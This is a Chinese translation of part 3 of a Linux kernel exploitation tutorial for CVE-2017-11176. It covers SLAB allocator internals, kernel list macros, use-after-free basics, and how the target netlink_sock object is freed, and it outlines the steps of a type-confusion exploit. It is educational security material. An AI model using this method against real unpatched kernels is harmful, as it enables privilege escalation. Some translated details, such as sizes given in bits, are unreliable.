CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)

CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)

这是第三部分的剩余部分的翻译,英语比较烂,很粗糙,建议结合原文一起看。
原文连接:https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

介绍

在前面的文章中,我们对在用户空间触发bug进行了概念性的验证,删除了第一部分中用System Tap的修改。

这个文章从介绍内存子系统和SLAB分配器开始。如此庞大的一个主题,我们强烈建议读者用一些额外的资源来了解它。了解他们对利用所有的UAF漏洞或者说对溢出漏洞是绝对必要的。

我们会介绍基础的UAF原理,像利用他们所需的信息收集步骤。下一步,我们将会尝试在bug上应用它,然后分析可用的不同指令。
根据我们的再分配战略,我们打算使用把UAF转化成任意调用指令。最后,内核将会在一个受控的状态下惊慌(不会再有随机的crash)。

我们这儿用的技术是一个常用的在内核中利用UAF漏洞的技术(类型混淆)。此外,我们还选择了任意调用来利用UAF。因为硬编码,exp不会是任意情况都适用的,无法绕过KASLR(地址空见随机化的内核版本)。

注意同样的bug可以被其他不同的方式利用来获取其他操作(任意读/写),绕过kaslr/smap/smep(我们将会绕过smep在part4)。我们现在有概念验证代码,可以实际的创造一个exp。

作为补充,内核exp跑在一个非常混乱的环境中。它在前面的文章中不是问题,现在是了(再分配)。即,如果这儿有一个地方会让我们的exp失败(因为我们还没跑过),那么大多数时候不是意外。可靠的再分配是开放领域的主题,更多的复杂技巧在这个文章中不合适。

最后,以为内核数据结构布局现在很重要,调试/开发内核有很多不同,我们将会和system tap说再见,这意味着我们将会适用更传统的工具来调试内核。此外,你的结构布局将会和我们的不同,这儿提供的exp如果不修改不会在你的系统下有效果。

准备好去crash(很多次),这是一个快乐的开始:-)。

目录

1.核心内容
2.use-after_free 101
3.分析UAF(cache、allocation、free)
4.分析UAF(悬空指针)
5.利用(重新分配)
6.利用(任意调用)
7.总结

1.核心内容

第三部分的“核心内容”节尝试去介绍内存子系统(也被叫做“mm”)。这是一个很广阔的内容,书本仅仅只覆盖了内核的一小部分,推荐去阅读下面的一些资料。尽管如此,它将会提供linux内核的核心数据结构来管理内存,这样我们就能达成一致了(一语双关)。

  • Understanding the Linux Kernel (chapters 2,8,9)
  • Understanding The
  • Linux Virtual Memory Manager Linux Device Driver: Allocating Memory
  • OSDev: Paging

在核心内容节的最后,我们会介绍 container_of()宏,然后提供一个linux双向循环链表的通用利用方法。一个基本的例子会被用来理解list_for_each_entry_safe() 宏(强制使用)。

ps:可能会用到的宏,我先写在这儿
offsetof宏:判断结构体中成员的偏移位置
container_of宏:根据成员的地址反过来来获取结构体地址。
list_for_each_entry_safe():相当于遍历整个双向循环链表,遍历时会存下下一个节点的数据结构,方便对当前项进行删除。

1-1 物理页管理

所有操作系统中最重要的作业之一就是内存管理。它必须要快,安全,最小化碎片。不幸的是,大多数这些目标都是互斥的(安全就意味着性能差)。因为效率原因,物理内存把相邻的内存分为固定长度块。这个块叫做一个页框,有一个固定的4096位大小。它可以用PAGE_SIZE 宏检索到。

因为内核必须控制内存。所以它保持着每一个物理页框的追踪像他们的信息。举个例子,他们必须知道特定的页面是不是可用的,这些信息被记录在页面数据结构struct page(也被叫做页面描述符)。

内核可以用alloc_pages()申请一个或者多个相邻的页面,用free_pages()来释放他们。分区页框分配器用来管理内核的这些请求,通常使用的伙伴系统算法。所以也被叫做伙伴伙伴分配器。

1-2 slab分配器

伙伴分配器提供的大小不是所有情况都适用的。举个例子,如果内核只想要128位内存空间,它可能申请了一页,但是3968位内存将会被浪费。着叫做内部碎片。为了克服这个情况,linux提供了一个更小的分配器:Slab分配器。为了让它简单起见,在内核里Slab分配器负责类似malloc()/free()等函数的功能。

内核提供了三种slab分配器(只使用一个):

  • SLAB分配器:历史分配器,专注于硬件缓存优化(Debian仍然使用它)。
  • SLUB分配器:自2007年以来的“新”标准分配器(由Ubuntu / CentOS / Android使用)。
  • SLOB分配器:用于嵌入式系统的小内存。

NOTE:我们将会适用下面的命名规则:Slab是一个Slab分配器(它可以是SLAB,SLUB,SLOB)。SLAB(资本)是三个分配器中的一个。一个slab(小写)是一个Slab分配器适用的对象。

我们这里无法介绍所有的Slab分配器。我们的目标使用的SLAB 分配器有大量的完整文档说明可以查询。SLUB分配器似乎时最好理解的,没有用缓存着色,不追踪"full slab",没有内部和外部的slab管理等等。用下面的代码可以查看机器使用的Slab分配器。
grep “CONFIG_SL.B=” /boot/config-$(uname -r)

重新分配内存取决于Slab分配器,与SLUB相比,在SLAB上利用“use-after-free”更容易。换句话说,利用SLAB还有一个好处就是slab混淆(更多的对象被存在"general" kmemcaches)。
ps: kmemcache是memcache的linux内核移植版,具体的请看https://blog.csdn.net/hjxhjh/article/details/12000413

1-3 cache和slab

由于内核偏向于分配相同内存大小的对象,所有为了避免反复申请释放同一块内存,Slab分配器把相同大小的对象放在cache(一个已分配页框架的池)里面,cache用到的结构体时struct kmem_cache(缓存描述符)。

struct kmem_cache {
  // ...
    unsigned int        num;              // 每个slab中的对象数量
    unsigned int        gfporder;         // 一个slab对象包含连续页是2的几次方
    const char          *name;            // 这个cache的名字
    int                 obj_size;         // 管理的对象的大小
    struct kmem_list3   **nodelists;      // 维护三个链表empty/partial/full slabs
    struct array_cache  *array[NR_CPUS];  // 每个cpu中空闲对象组成的数组
};

一个slab基本上是一个或者多个页。一个简单的slab持有num数量的对象,每个对象大小都是obj_size,例如一个页大小的slab可以有四个1kb的对象。

slab的状况是被 struct slab(slab管理结构)描述的。

struct slab {
    struct list_head list;			// 用于将slab链入kmem_list3的链表
    unsigned long colouroff;		// 该slab的着色偏移
    void *s_mem;					// 指向slab中的第一个对象
    unsigned int inuse;             // 已经分配对象的数量
    kmem_bufctl_t free;				// 下一个未分配对象的下标
    unsigned short nodeid;			// 节点标识号
};

slab的数据结构对象(slab描述符)可以被存在slab内部或者另一个内存的位置。这样做的根本原因是减少外碎片。slab的数据结构对象具体别存在哪取决于缓存对象的大小,如果当前的对象大小小于512字节,那么会存在slab内部,否则会存在slab外部。

NOTE: internal/external stuff不需要被担心,我们在利用use-after-free。在另一方面,如果你要利用堆溢出,理解这个很有必要。

检索slab中对象的虚拟地址,可以直接通过s_mem(第一个对象的地址)加上偏移量获得。为了让他变得简单,所以第一个对象得地址就是s_mem,第二个就是s_mem + obj_size等等。其实上比这个更复杂,因为有"colouring" stuff (缓存着色相关的?不怎么理解),但是这个是题外话。

1-4 slabs内部管理和伙伴系统作用

当一个slab被创建的时候,Slab分配器向伙伴分配器申请物理页,当然,当他被销毁的时候,会把物理页面还给伙伴分配器。内存会降低slab的创建和销毁以提高效率。
NOTE:为什么gfporder (struct kmem_cache)是同一个slab相邻页面的对数,这是因为伙伴系统不用byte来分配大小,而是以2的几次幂来分配的。gfporder 为0,表示单页,为1表示相邻的两页,为2表示相邻的四页。

对于每一个cache,会保持三个双链表结构为了slabs。

  • full slabs:当前slab中的所有对象都被使用了。
  • free slabs:当前slab中的所有对象都是空的。 partial
  • slabs:当前slab中的部分对象被使用了。

这些页面被存储与描述符中,nodelists(struct kmem_cache),每个slab属于三个列表中的一个,并且能在自身情况改变后,在三个列表中进行切换。

为了减少与伙伴分配器的交互,SLAB分配器会保留一个有少量free slabs和partial slabs的池。当Slab分配器申请一个对象的时候,会先检索自己的池中是否有空闲的slab,如果没有就会调用cache_grow()方法向伙伴分配器申请更多的物理页,当然,如果Slab分配器发现自己的池中有太多的空闲slab,也会销毁一些slab将我i里也还给伙伴分配器。

1-5 每个cpu中的缓存数组

每次申请,Slab分配器需要扫描整个free slabs 或者 partial slabs。通过扫描整个列表来寻找空闲的空间是低效的。(这会要求一些锁,还需要去找偏移)

为了提高性能,Slab分配器保存一个队列指向空的对象。即struct array_cache,保存在缓存描述符中(struct kmem_cache)。

struct array_cache {
    unsigned int avail;       // 存放可用对象指针的数量也是当前空闲空闲数组的下标
    unsigned int limit;       // 最多可以存放的对象指针数量
    unsigned int batchcount;
    unsigned int touched;
    spinlock_t lock;
    void *entry[];            //  对象指针数组
};

ps:貌似最近的版本中entry[]变成了entry[0],entry[0]表示一个可变长度的数组。
array_cache 采用的是LIFO的数据结构,从漏洞利用者的角度来说,这是一个极好的方式,这也是为什么在SLAB和SLUB分配器下use-after-free是更容易利用。
最简单的申请内存:

static inline void *____cache_alloc(struct kmem_cache *cachep, gfp_t flags) // yes... four "_"
{
    void *objp;
    struct array_cache *ac;

    ac = cpu_cache_get(cachep);

    if (likely(ac->avail)) {
        STATS_INC_ALLOCHIT(cachep);
        ac->touched = 1;
        objp = ac->entry[--ac->avail];        // <-----
  }

  // ... cut ...

  return objp;
}

最简单的释放内存:

static inline void __cache_free(struct kmem_cache *cachep, void *objp)
{
    struct array_cache *ac = cpu_cache_get(cachep);

  // ... cut ...

    if (likely(ac->avail < ac->limit)) {
        STATS_INC_FREEHIT(cachep);
        ac->entry[ac->avail++] = objp;          // <-----
        return;
  }
}

简单来说,最好的情况下,申请和释放操作的复杂度只有O(1)。

WARNING:如果这个快捷的方式失败了,分配算法会回到慢的解决方案,即一个个遍历。

NOTE:每个cpu都有一个数组缓存,可以用cpu_cache_get()方法来获取,如此做可以减少锁的次数,从而提高性能。

NOTE:array cache中的每一个空闲的指针可能指向的是不容的slabs

1-6 通用和专用缓存

为了减少外碎片,内核创建缓存以2的次方的大小,这样确保内碎片小于50%的大小,事实上,当内核去申请指定大小的尺寸时,他会申请到最适合的内存大小,即申请100字节会给你128字节的内存空间。

在SLAB中,通用缓存会有前缀"size-"(size-32,size-64)。在SLUB中,通用缓存会有前缀"kmalloc-"(kmalloc-32)。由于我们觉得SLUB的前缀更好,所以我们通常用他哪怕我们的目标是SLAB。

内核使用kmalloc()和kfree()方法去申请和释放通用缓存。

因为有一些对象会被频繁的申请和释放,内核创建了一些特殊的专用缓存。例如file文件对象是非常常用的对象,他有自己的专用缓存(filp)。这些专用缓存的内碎片会接近于0。

内核使用kmem_cache_alloc()和kmem_cache_free()方法去申请和释放一块专用的内存空间。

在最后kmalloc()和kmem_cache_alloc()会变成 __cache_alloc()函数,当然kfree()和kmem_cache_free()会变成__cache_free()函数。

NOTE:你可以看到全部的cache清单和一些有用的信息,在/proc/slabinfo中。

1-7 container_of()宏

container_of()宏在linux内核的所有地方都被用到了。


#define container_of(ptr, type, member) ({          \
    const typeof( ((type *)0)->member ) *__mptr = (ptr);    \
    (type *)( (char *)__mptr - offsetof(type,member) );})

//ptr 当前的地址
//type 所涉及的数据结构
//member 数据结构中的成员名

container_of()宏的意义在于利用结构成员的地址找回结构本身的地址。他使用两个宏:

  • typeof() - 定义编译时的类型
  • offsetof() - 查找结构中字段的偏移地址(以字节为单位)

也就是说,他利用他自己的当前段的地址减去他在该结构中的偏移地址。

1-8 使用双向循环列表

linux内核中广泛的使用到了双向循环列表,理解他对我们达到任意命令执行很必要,接下来我们会用一个具体的例子来理解双向循环列表的使用。这节结束时,你会明白list_for_each_entry_safe()宏的作用。

linux用以下结构处理双向循环列表:

struct list_head {
    struct list_head *next, *prev;
};

这个结构有两个作用:

  1. 代表双向循环列表本身。
  2. 代表列表中的一个元素。

INIT_LIST_HEAD()函数被用来创建双向循环列表,并将其next和prev指针都指向列表本身。

static inline void INIT_LIST_HEAD(struct list_head *list)
{
    list->next = list;
    list->prev = list;
}

我们先定义一个resource_owner结构体

struct resource_owner
{
  char name[16];
  struct list_head consumer_list;
};
void init_resource_owner(struct resource_owner *ro)
{
  strncpy(ro->name, "MYRESOURCE", 16);
  INIT_LIST_HEAD(&ro->consumer_list);
}

为了使用列表,每个列表成员的结构必须一致,即每个成员都必须有struct list_head字段。

struct resource_consumer
{
  int id;
  struct list_head list_elt;    // <----- this is NOT a pointer
};

成员可以被添加和删除通过list_add()和list_del()方法。

int add_consumer(struct resource_owner *ro, int id)
{
  struct resource_consumer *rc;

  if ((rc = kmalloc(sizeof(*rc), GFP_KERNEL)) == NULL)
    return -ENOMEM;

  rc->id = id;
  list_add(&rc->list_elt, &ro->consumer_list);

  return 0;
}

接下来,我们想要释放一个成员,但是这个列表中只有一个元素,所以我们可以直接用container_of()宏来辅助释放当前元素。因为我们需要释放整一个resource_consumer对象,但是列表中只有list_elt的地址,所以需要把列表中的list_elt地址取出来,用container_of()宏来取到resource_consumer的地址,然后调用kfree()。

void release_consumer_by_entry(struct list_head *consumer_entry)
{
  struct resource_consumer *rc;

  // "consumer_entry" points to the "list_elt" field of a "struct resource_consumer"
  rc = container_of(consumer_entry, struct resource_consumer, list_elt);

  list_del(&rc->list_elt);
  kfree(rc);
}

我们想要访问一个元素通过他的id,所以我们使用list_for_each()宏遍历列表。

#define list_for_each(pos, head) \
    for (pos = (head)->next; pos != (head); pos = pos->next)
//如果pos指针没有指到头节点,就继续往下。
#define list_entry(ptr, type, member) \
    container_of(ptr, type, member)

我们可以看到list_for_each()只提供了一个迭代器,所以我们仍然需要container_of()宏,但是一般用list_entry()宏,因为虽然功能一样,但是名字更好。

struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)
{
  struct resource_consumer *rc = NULL;
  struct list_head *pos = NULL;

  list_for_each(pos, &ro->consumer_list) {
    rc = list_entry(pos, struct resource_consumer, list_elt);
    if (rc->id == id)
      return rc;
  }

  return NULL; // not found
}

不得不申明list_head变量,使用list_entry()/container_of()宏有点复杂,所以出现了list_for_each_entry()宏(使用了list_first_entry() 和 list_next_entry()宏)

#define list_first_entry(ptr, type, member) \
    list_entry((ptr)->next, type, member)
//取出下一个指针的结构体本身的地址
#define list_next_entry(pos, member) \
    list_entry((pos)->member.next, typeof(*(pos)), member)
//取出结构体中的取出当前元素所在元素链表中的下一个,然后返回下一个元素的结构的指针
#define list_for_each_entry(pos, head, member)              \
    for (pos = list_first_entry(head, typeof(*pos), member);    \
         &pos->member != (head);                    \
         pos = list_next_entry(pos, member))
//c=typeof(*pos) 可以把c指向pos的数据类型

我们重写之前的代码,不再申明struct list_head。

struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)
{
  struct resource_consumer *rc = NULL;

  list_for_each_entry(rc, &ro->consumer_list, list_elt) {
    if (rc->id == id)
      return rc;
  }

  return NULL; // not found
}

接下来,如果我们要释放每一个成员,就会遇到两个问题:
我们release_consumer_by_entry()函数写的很烂,因为需要一个struct list_head指针。
list_for_each()宏是基于列表不变的基础上的。

我们无法再遍历列表时删除元素,这会让我们的use-after-free很难进行,所以我们使用 list_for_each_safe()宏来解决,他会预先读取下一个元素。

#define list_for_each_safe(pos, n, head) \
    for (pos = (head)->next, n = pos->next; pos != (head); \
        pos = n, n = pos->next)

这意味着我们需要两个struct list_head变量。

void release_all_consumers(struct resource_owner *ro)
{
  struct list_head *pos, *next;

  list_for_each_safe(pos, next, &ro->consumer_list) {
    release_consumer_by_entry(pos);
  }
}

最后一个是因为release_consumer_by_entry()写的很烂,所以我们我们用一个struct resource_consumer 指针作为参数。(不再使用container_of())

void release_consumer(struct resource_consumer *rc)
{
  if (rc)
  {
    list_del(&rc->list_elt);
    kfree(rc);
  }
}

由于我们不用再使用struct list_head作为参数,所以利用 list_for_each_entry_safe()宏 重写release_all_consumers()函数

#define list_for_each_entry_safe(pos, n, head, member)          \
    for (pos = list_first_entry(head, typeof(*pos), member),    \
        n = list_next_entry(pos, member);           \
         &pos->member != (head);                    \
         pos = n, n = list_next_entry(n, member))

即:

void release_all_consumers(struct resource_owner *ro)
{
  struct resource_consumer *rc, *next;

  list_for_each_entry_safe(rc, next, &ro->consumer_list, list_elt) {
    release_consumer(rc);
  }
}

list_for_each_entry_safe()宏在很多方面都用到了,包括
我们去实现任意命令执行。我们甚至会在汇编中查看他(因为偏移量)。

2.use-after_free 101

这一小节将会讲解use-after-free的基本原理,包括一些使用的必要条件和最普遍的使用方法。

2-1 模式

这个漏洞的名字解释了所有的事,一个简单的例子:

int *ptr = (int*) malloc(sizeof(int));
*ptr = 54;
free(ptr);
*ptr = 42; // <----- use-after-free

这个bug产生的原因主要事没有人知道在在调用free(ptr)后,指针ptr指向内存中的什么。她被叫做悬空指针,读和写的操作事一个未定义的行为,在最好的情况下,他只是一个空操作,在最坏的情况下,他会让一个应用程序(或者内核)直接crash。

2-2 信息收集

将use-after-free用在内核中通常用的事相同的方案,在尝试去做之前,必须先回答以下几个问题:

  1. 分配器是什么,他怎么工作的?
  2. 我们在讨论的对象是什么?
  3. 他属于哪一个cache?其中的对象大小?是专用的cache还是普通的?
  4. 他在哪里申请和释放?
  5. 他在哪个位置有了free后进行了使用?做了什么(读/写)?

为了回答这些问题,谷歌的开发人员开发了一个很好的linux补丁:KASAN (Kernel Address SANitizer)。一个典型的输出是:

================================================================== 
BUG: KASAN: use-after-free in debug_spin_unlock                             // <--- the "where"
kernel/locking/spinlock_debug.c:97 [inline] 
BUG: KASAN: use-after-free in do_raw_spin_unlock+0x2ea/0x320 
kernel/locking/spinlock_debug.c:134 
Read of size 4 at addr ffff88014158a564 by task kworker/1:1/5712            // <--- the "how"

CPU: 1 PID: 5712 Comm: kworker/1:1 Not tainted 4.11.0-rc3-next-20170324+ #1 
Hardware name: Google Google Compute Engine/Google Compute Engine, 
BIOS Google 01/01/2011 
Workqueue: events_power_efficient process_srcu 
Call Trace:                                                                 // <--- call trace that reach it
 __dump_stack lib/dump_stack.c:16 [inline] 
 dump_stack+0x2fb/0x40f lib/dump_stack.c:52 
 print_address_description+0x7f/0x260 mm/kasan/report.c:250 
 kasan_report_error mm/kasan/report.c:349 [inline] 
 kasan_report.part.3+0x21f/0x310 mm/kasan/report.c:372 
 kasan_report mm/kasan/report.c:392 [inline] 
 __asan_report_load4_noabort+0x29/0x30 mm/kasan/report.c:392 
 debug_spin_unlock kernel/locking/spinlock_debug.c:97 [inline] 
 do_raw_spin_unlock+0x2ea/0x320 kernel/locking/spinlock_debug.c:134 
 __raw_spin_unlock_irq include/linux/spinlock_api_smp.h:167 [inline] 
 _raw_spin_unlock_irq+0x22/0x70 kernel/locking/spinlock.c:199 
 spin_unlock_irq include/linux/spinlock.h:349 [inline] 
 srcu_reschedule+0x1a1/0x260 kernel/rcu/srcu.c:582 
 process_srcu+0x63c/0x11c0 kernel/rcu/srcu.c:600 
 process_one_work+0xac0/0x1b00 kernel/workqueue.c:2097 
 worker_thread+0x1b4/0x1300 kernel/workqueue.c:2231 
 kthread+0x36c/0x440 kernel/kthread.c:231 
 ret_from_fork+0x31/0x40 arch/x86/entry/entry_64.S:430 

Allocated by task 20961:                                                      // <--- where is it allocated
 save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59 
 save_stack+0x43/0xd0 mm/kasan/kasan.c:515 
 set_track mm/kasan/kasan.c:527 [inline] 
 kasan_kmalloc+0xaa/0xd0 mm/kasan/kasan.c:619 
 kmem_cache_alloc_trace+0x10b/0x670 mm/slab.c:3635 
 kmalloc include/linux/slab.h:492 [inline] 
 kzalloc include/linux/slab.h:665 [inline] 
 kvm_arch_alloc_vm include/linux/kvm_host.h:773 [inline] 
 kvm_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:610 [inline] 
 kvm_dev_ioctl_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:3161 [inline] 
 kvm_dev_ioctl+0x1bf/0x1460 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3205 
 vfs_ioctl fs/ioctl.c:45 [inline] 
 do_vfs_ioctl+0x1bf/0x1780 fs/ioctl.c:685 
 SYSC_ioctl fs/ioctl.c:700 [inline] 
 SyS_ioctl+0x8f/0xc0 fs/ioctl.c:691 
 entry_SYSCALL_64_fastpath+0x1f/0xbe 

Freed by task 20960:                                                          // <--- where it has been freed
 save_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59 
 save_stack+0x43/0xd0 mm/kasan/kasan.c:515 
 set_track mm/kasan/kasan.c:527 [inline] 
 kasan_slab_free+0x6e/0xc0 mm/kasan/kasan.c:592 
 __cache_free mm/slab.c:3511 [inline] 
 kfree+0xd3/0x250 mm/slab.c:3828 
 kvm_arch_free_vm include/linux/kvm_host.h:778 [inline] 
 kvm_destroy_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:732 [inline] 
 kvm_put_kvm+0x709/0x9a0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:747 
 kvm_vm_release+0x42/0x50 arch/x86/kvm/../../../virt/kvm/kvm_main.c:758 
 __fput+0x332/0x800 fs/file_table.c:209 
 ____fput+0x15/0x20 fs/file_table.c:245 
 task_work_run+0x197/0x260 kernel/task_work.c:116 
 exit_task_work include/linux/task_work.h:21 [inline] 
 do_exit+0x1a53/0x27c0 kernel/exit.c:878 
 do_group_exit+0x149/0x420 kernel/exit.c:982 
 get_signal+0x7d8/0x1820 kernel/signal.c:2318 
 do_signal+0xd2/0x2190 arch/x86/kernel/signal.c:808 
 exit_to_usermode_loop+0x21c/0x2d0 arch/x86/entry/common.c:157 
 prepare_exit_to_usermode arch/x86/entry/common.c:194 [inline] 
 syscall_return_slowpath+0x4d3/0x570 arch/x86/entry/common.c:263 
 entry_SYSCALL_64_fastpath+0xbc/0xbe 

The buggy address belongs to the object at ffff880141581640 
 which belongs to the cache kmalloc-65536 of size 65536                         // <---- the object's cache
The buggy address is located 36644 bytes inside of 
 65536-byte region [ffff880141581640, ffff880141591640) 
The buggy address belongs to the page:                                          // <---- even more info
page:ffffea000464b400 count:1 mapcount:0 mapping:ffff880141581640 
index:0x0 compound_mapcount: 0 
flags: 0x200000000008100(slab|head) 
raw: 0200000000008100 ffff880141581640 0000000000000000 0000000100000001 
raw: ffffea00064b1f20 ffffea000640fa20 ffff8801db800d00 
page dumped because: kasan: bad access detected 

Memory state around the buggy address: 
 ffff88014158a400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
 ffff88014158a480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
>ffff88014158a500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
                                                       ^ 
 ffff88014158a580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
 ffff88014158a600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb 
================================================================== 

NOTE:之前的错误报告是从syzkaller这个程序来的,另一个很好的工具。

不幸的是,你可能无法在你的环境下安装KASAN。据我们所知,KASAN要求最小的内核版本是4.x而且不支持所有架构的linux。既然这样,我们只能手动来做这个工作。

补充一下,KASAN只是展示use-after-free发生在哪。实际操作时,这儿会有更多的悬空指针(后面会讲到)。识别他们需要更多的代码审计。

2-3 通过类型混淆来利用use-after-free:

这儿有很多种方法去利用一个use-after-free的漏洞。例如,有一种时使用分配器元数据(allocator meta-data,不怎么懂这个什么意思)。在内核中用这个方法会有一点困难,他也增加了你在利用完漏洞后修复内核的难度。修复将会在part 4讲解,这步不能跳过,不然内核会在你利用结束后crash。

类型混淆是一个内核利用use-after-free的常用方法。类型混淆通常出现在内核误解一个数据的类型时。他使用一个数据(通常是指针)他以为是一种类型,但是他真正指向的是另一个数据类型。因为他发生在C语言,类型检查时在编译时完成的。cpu实际上不关心地址,他只是取消引用固定偏移的地址。

用类型混淆利用UAF漏洞基本的步骤是:

  1. 让内核处于一个合适的状态(让一个套接字准备去阻塞)
  2. 在确保悬空指针不受影响的同时释放目标对象,触发bug
  3. 立刻重新分配到你可以控制数据的对象
  4. 从悬空指针触发UAF
  5. ring0接管
  6. 修复内核和清空所有东西
  7. 享受这个过程

如果你制作一个恰当的exp,那么只有第三步会真正意义上的失败。我们可以看看为什么。

WARNING:用类型混淆触发的UAF的目标对象必须是通用缓存(cache)。如果不是这样也有办法处理,但是有一点高级,这里不讲了。

3.分析UAF(cache、allocation、free)

在这一节中我们会回答信息收集那一节中的问题

3-1 分配器是什么,他怎么工作的?

分配器是什么,他怎么工作的?

在我们的目标中,分配器是SLAB分配器。正如上面核心概念中谈到的一样,我们可以从内核配置文件中收集信息。另一个方法在/proc/slabinfo中是检查通用cache的名字。他们都有“size-”或者“kmalloc-”的前缀?

我们可以更好了解他的数据结构,特别是array_cache

NOTE:如果你之前没有掌握你的分配器(特别是 kmalloc()/kfree()的编程规范),现在是个很好的学习时间。

这个下面是我自己补充的一部分函数说明:
kmalloc:

kmalloc:
void *kmalloc(size_t size, gfp_t flags);

第一个参数是要分配的块的大小,第二个参数是分配标志(flags),他提供了多种kmalloc的行为。
kmalloc() 申请的内存位于物理内存映射区域,而且在物理上也是连续的,它们与真实的物理地址只有一个固定的偏移,因为存在较简单的转换关系,所以对申请的内存大小有限制,不能超过128KB。
较常用的 flags(分配内存的方法):
GFP_ATOMIC —— 分配内存的过程是一个原子过程,分配内存的过程不会被(高优先级进程或中断)打断;
GFP_KERNEL —— 正常分配内存;
GFP_DMA —— 给 DMA 控制器分配内存,需要使用该标志(DMA要求分配虚拟地址和物理地址连续)

kfree:

kfree:
void kfree(const void *objp);

kzalloc():

kzalloc()*kzalloc(size_t size, gfp_t flags){    return kmalloc(size, flags | __GFP_ZERO);}
kzalloc() 函数与 kmalloc() 非常相似,参数及返回值是一样的,可以说是前者是后者的一个变种,因为 kzalloc() 实际上只是额外附加了 __GFP_ZERO 标志。所以它除了申请内核内存外,还会对申请到的内存内容清零。
kzalloc() 对应的内存释放函数也是 kfree()

vmalloc():

vmalloc()void *vmalloc(unsigned long size);

vmalloc() 函数则会在虚拟内存空间给出一块连续的内存区,但这片连续的虚拟内存在物理内存中并不一定连续。由于 vmalloc() 没有保证申请到的是连续的物理内存,因此对申请的内存大小没有限制,如果需要申请较大的内存空间就需要用此函数了
对应的内存释放函数为:
void vfree(const void *addr);

注意:vmalloc() 和 vfree() 可以睡眠,因此不能从中断上下文调用。

3-2 我们在讨论的对象是什么?

这个在前两节已经被讨论的很清楚了,我们UAF的对象就是struct netlink_sock。他又很清晰的定义:

struct netlink_sock {
    /* struct sock has to be the first member of netlink_sock */
    struct sock     sk;
    u32         pid;
    u32         dst_pid;
    u32         dst_group;
    u32         flags;
    u32         subscriptions;
    u32         ngroups;
    unsigned long       *groups;
    unsigned long       state;
    wait_queue_head_t   wait;
    struct netlink_callback *cb;
    struct mutex        *cb_mutex;
    struct mutex        cb_def_mutex;
    void            (*netlink_rcv)(struct sk_buff *skb);
    struct module       *module;
};

这个在我们的例子里面很明显。有时,可能需要花一会儿去计算出UAF的对象。特别是,当一个特定的对象有各种子对象的所有权(他掌握他们的生命周期)。UAF可能会依赖于其中的一个子对象(不是最重要的一个)。

3-3 他在哪里释放:

第一部分中,我们看到the netlink’s sock的计数器被置为1在进入entering mq_notify()的时候。参考计数器通过netlink_getsockbyfilp()来增加一,通过netlink_attachskb()来减少一,在另一时间又通过netlink_detachskb()来减少一。给我们以下的路径:

- mq_notify
- netlink_detachskb
- sock_put          // <----- atomic_dec_and_test(&sk->sk_refcnt)和sk_free()

因为计数器清零了,所以他被sk_free()释放了:

void sk_free(struct sock *sk)
{
    /*
     * We subtract one from sk_wmem_alloc and can know if
     * some packets are still in some tx queue.
     * If not null, sock_wfree() will call __sk_free(sk) later
     */
    if (atomic_dec_and_test(&sk->sk_wmem_alloc))
        __sk_free(sk);
}

记住sk->sk_wmem_alloc是当前的发送缓存区。当整个netlink_sock初始化期间,这被设置为1。因为我们没有从目标套接字发送任何消息,在进入sk_free()时,他依然是1。在这里,他被叫做_sk_free():

      // [net/core/sock.c]

      static void __sk_free(struct sock *sk)
      {
        struct sk_filter *filter;

[0]     if (sk->sk_destruct)
          sk->sk_destruct(sk);

        // ... cut ...

[1]     sk_prot_free(sk->sk_prot_creator, sk);
      }
注意这里面的sk_prot_creator是基于虚函数表proto_ops来实现的

在[0]中,__sk_free()给了sock调用“专门”析构函数的机会。在[1]中,他用struct proto数据类型的sk_prot_create()来调用sk_prot_free()(不懂这句话?谷歌是这么翻译的。。。),最后这个对象根据cache来释放(下一节)。

static void sk_prot_free(struct proto *prot, struct sock *sk)
{
    struct kmem_cache *slab;
    struct module *owner;

    owner = prot->owner;
    slab = prot->slab;

    security_sk_free(sk);
    if (slab != NULL)
        kmem_cache_free(slab, sk);    // <----- this one or...
    else
        kfree(sk);                    // <----- ...this one ?
    module_put(owner);
}
这个函数主要是把sock所在的cache整个释放掉了。

这是最后的释放过程:

- <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>
- sock_put
- sk_free
- __sk_free
- sk_prot_free
- kmem_cache_free or kfree

NOTE:记住所有的sk和netlink_sock的地址别名。即释放struct sock指针将会释放整个netlink_sock对象。

我们需要分析他最后一个调用的函数。因此,我们需要知道他属于哪个cache。

3-4 他属于哪一个cache呢?

记住linux是一个非常抽象的面向对象的操作系统。我们已经看到了多层次的抽象概念,也因此而很专业(查看核心概念部分就可得知)。

struct proto提供了另一个抽象的层次,我们有:

  • socket的文件类型(struct file)专用:socket_file_ops
  • netlink的BSD套接字 (struct socket) 专用:netlink_ops
  • netlink的sock(struct sock)专用:netlink_proto 和 netlink_family_ops

NOTE:我们下一节会回到netlink_family_ops

不像是socket_file_ops和netlink_ops都仅仅是VFT(虚函数表),struct proto是更复杂的。他当然维持一个VFT,但是他也提供了一些信息关于struct sock的生命周期。特别是一个特殊的sock对象是专门被分配的。

就我们的例子而言,最重要的两个字段是slab和obj_size:

// [include/net/sock.h]

struct proto {
  struct kmem_cache *slab;      // the "dedicated" cache (if any)
  unsigned int obj_size;        // the "specialized" sock object size
  struct module *owner;         // used for Linux module's refcounting
  char name[32];
  // ...
}

对于netlink_sock对象,struct proto是netlink_proto

static struct proto netlink_proto = {
    .name     = "NETLINK",
    .owner    = THIS_MODULE,
    .obj_size = sizeof(struct netlink_sock),
};

这个obj_size不是最后的申请的大小,只是他的一部分(下一节会讲到)。

